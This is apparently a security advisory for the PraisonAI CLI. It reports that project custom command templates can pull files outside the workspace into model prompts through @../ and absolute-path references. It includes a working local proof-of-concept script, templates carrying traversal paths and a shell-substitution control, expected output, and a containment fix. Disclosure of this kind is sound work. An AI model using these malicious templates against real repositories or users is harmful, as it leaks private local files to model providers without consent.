Project custom command templates can read outside-workspace files into model prompts

Summary

PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/*.md. When a user runs praisonai run --command <name> inside a repository, the command body is interpolated before it is sent as the model prompt.

The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include @../outside_secret.txt or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.

This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.

Technical Details

The feature was introduced by commit 88cf0c29 (feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:

current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
current describe: v4.6.64-8-g3aa9cbc2

src/praisonai/praisonai/cli/features/custom_definitions.py discovers project-level definitions by walking upward from Path.cwd() to the git root and loading .praisonai/commands/*.md. Project commands override user-global commands.

interpolate_command_template() loads the selected command and passes the command body to the interpolator with Path.cwd() as the working directory:

return interpolator.interpolate(command.template, arguments, Path.cwd())

TemplateInterpolator._interpolate_files() then matches every @([^\s]+) token and reads the referenced file:

if working_dir:
    file_path = working_dir / file_path_str
else:
    file_path = Path(file_path_str)

if file_path.exists() and file_path.is_file():
    with open(file_path, 'r') as f:
        return f.read()

There is no resolve() call and no containment check against the project root. In Python, Path.cwd() / "/absolute/path" returns the absolute path, and parent traversal such as ../outside_secret.txt resolves outside the workspace when opened.

The sink is in src/praisonai/praisonai/cli/commands/run.py: the --command path calls interpolate_command_template(), then passes the fully interpolated prompt to _run_prompt().

PoV

A minimal vulnerable repository only needs a project command template and an outside file:

workspace/
  .git/
  .praisonai/
    commands/
      relative_escape.md   # contains @../outside_secret.txt
      absolute_escape.md   # contains an absolute path outside workspace
  inside.txt
outside_secret.txt

When the operator runs the project command, PraisonAI discovers .praisonai/commands/*.md, interpolates the template with Path.cwd() as the working directory, reads the outside file, and passes the resulting prompt to _run_prompt().

The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.

PoC

From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden PYTHONPATH setup is required.

git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab

python3 - "$PWD" <<'PY'
from __future__ import annotations

import importlib.util
import json
import os
import subprocess
import sys
import tempfile
import types
from pathlib import Path


CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"


def install_yaml_fallback_if_needed() -> str:
    if importlib.util.find_spec("yaml") is not None:
        return "installed"

    yaml_stub = types.ModuleType("yaml")

    class YAMLError(Exception):
        pass

    def safe_load(text: str):
        data = {}
        for raw_line in text.splitlines():
            line = raw_line.strip()
            if not line or line.startswith("#") or ":" not in line:
                continue
            key, value = line.split(":", 1)
            data[key.strip()] = value.strip().strip("'\"")
        return data

    yaml_stub.safe_load = safe_load
    yaml_stub.YAMLError = YAMLError
    sys.modules["yaml"] = yaml_stub
    return "stubbed"


def add_source_to_path(source_root: Path) -> None:
    candidate = source_root / "src" / "praisonai"
    if (candidate / "praisonai").exists():
        sys.path.insert(0, str(candidate))
        return
    raise SystemExit(f"Could not find PraisonAI sources below {source_root}")


class pushd:
    def __init__(self, path: Path):
        self.path = path
        self.old = Path.cwd()

    def __enter__(self):
        os.chdir(self.path)

    def __exit__(self, *_exc):
        os.chdir(self.old)


def write_command(commands_dir: Path, name: str, body: str) -> None:
    commands_dir.mkdir(parents=True, exist_ok=True)
    (commands_dir / f"{name}.md").write_text(
        "---\n"
        f"description: {name}\n"
        "---\n"
        f"{body}\n",
        encoding="utf-8",
    )


source_root = Path(sys.argv[1]).resolve()
yaml_dependency = install_yaml_fallback_if_needed()
add_source_to_path(source_root)

from praisonai.cli.features.custom_definitions import interpolate_command_template

with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp:
    temp_root = Path(tmp).resolve()
    workspace = temp_root / "workspace"
    workspace.mkdir()
    subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)

    inside = workspace / "inside.txt"
    outside = temp_root / "outside_secret.txt"
    inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8")
    outside.write_text(f"{CANARY}\n", encoding="utf-8")

    commands_dir = workspace / ".praisonai" / "commands"
    write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt")
    write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}")
    write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt")
    write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt")
    write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")

    with pushd(workspace):
        relative_result = interpolate_command_template("relative_escape", "operator argument")
        absolute_result = interpolate_command_template("absolute_escape", "operator argument")
        inside_result = interpolate_command_template("inside_control", "operator argument")
        missing_result = interpolate_command_template("missing_control", "operator argument")
        shell_result = interpolate_command_template("shell_control", "operator argument")

    result = {
        "vulnerable": all(
            [
                CANARY in (relative_result or ""),
                CANARY in (absolute_result or ""),
                "INSIDE_FILE=allowed" in (inside_result or ""),
                "@missing.txt" in (missing_result or ""),
                not (workspace / "SHOULD_NOT_EXIST").exists(),
            ]
        ),
        "expectations": {
            "relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""),
            "absolute_path_discloses_outside_file": CANARY in (absolute_result or ""),
            "inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""),
            "missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""),
            "shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(),
        },
        "samples": {
            "relative_escape": relative_result,
            "absolute_escape": absolute_result,
            "inside_control": inside_result,
            "missing_control": missing_result,
            "shell_control": shell_result,
        },
        "yaml_dependency": yaml_dependency,
    }

print(json.dumps(result, indent=2, sort_keys=True))
raise SystemExit(0 if result["vulnerable"] else 1)
PY

Expected vulnerable output:

{
  "expectations": {
    "absolute_path_discloses_outside_file": true,
    "inside_control_expands_workspace_file": true,
    "missing_control_leaves_missing_reference": true,
    "relative_parent_traversal_discloses_outside_file": true,
    "shell_control_does_not_create_file": true
  },
  "samples": {
    "absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
    "inside_control": "Review inside:\nINSIDE_FILE=allowed\n",
    "missing_control": "Missing stays literal:\n@missing.txt",
    "relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
    "shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)"
  },
  "vulnerable": true,
  "yaml_dependency": "installed"
}

The PoC does not contact a model provider or any external service. It stops at the interpolation step that praisonai run --command uses before calling _run_prompt().

Impact

An attacker who can supply or modify a repository can add a project command such as .praisonai/commands/review.md containing @../outside_secret.txt or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.

This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.

Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Relevant CWEs:

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Suggested Fix

Resolve command @path references through a single containment helper before opening files:

1. Resolve the project root or intended command workspace once.
2. For relative references, join to that root and then call resolve().
3. For absolute references, either reject them outright or require resolved.relative_to(root) to succeed.
4. Reject escaped files before any exists(), is_file(), or open() operation.
5. Apply the same boundary to project and user command templates.
6. Add regression tests for @../outside.txt, @/absolute/outside.txt, a valid in-workspace file, a missing file, and shell-substitution escaping.

Minimal shape:

def resolve_command_file(root: Path, value: str) -> Path:
    root = root.resolve()
    candidate = Path(value)
    if not candidate.is_absolute():
        candidate = root / candidate
    resolved = candidate.resolve()
    try:
        resolved.relative_to(root)
    except ValueError as exc:
        raise PermissionError(f"command file reference escapes workspace: {value}") from exc
    return resolved

Affected Package/Versions

The feature was introduced by commit 88cf0c29. Current release tags now contain that commit, and PyPI currently publishes praisonai through 4.6.71.

introducing commit: 88cf0c29
earliest affected release observed: v4.6.65
latest affected release observed: v4.6.71
latest PyPI version checked: 4.6.71
unaffected sampled tag: v4.6.64
fixed version: none identified yet

Affected package entry:

Ecosystem: pip
Package: praisonai
Vulnerable versions: >= 4.6.65
Patched versions: none yet

Advisory History

No checked PraisonAI private advisory matched .praisonai/commands/*.md, praisonai.cli.features.custom_definitions, or custom command template @path interpolation.

The closest comparator is GHSA-2rcg-mm5h-xchx, arbitrary file read via @file: mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from .praisonai/commands/*.md, not by a direct @file: mention path. The vulnerable code path here is TemplateInterpolator._interpolate_files() in custom_definitions.py, introduced by 88cf0c29, and the sink is praisonai run --command.

Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.

References

• PraisonAI repository: https://github.com/MervinPraison/PraisonAI
• Introducing commit 88cf0c29: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29
• Current tested commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
• Comparator advisory GHSA-2rcg-mm5h-xchx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx
• PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy
• CWE-22: https://cwe.mitre.org/data/definitions/22.html
• CWE-200: https://cwe.mitre.org/data/definitions/200.html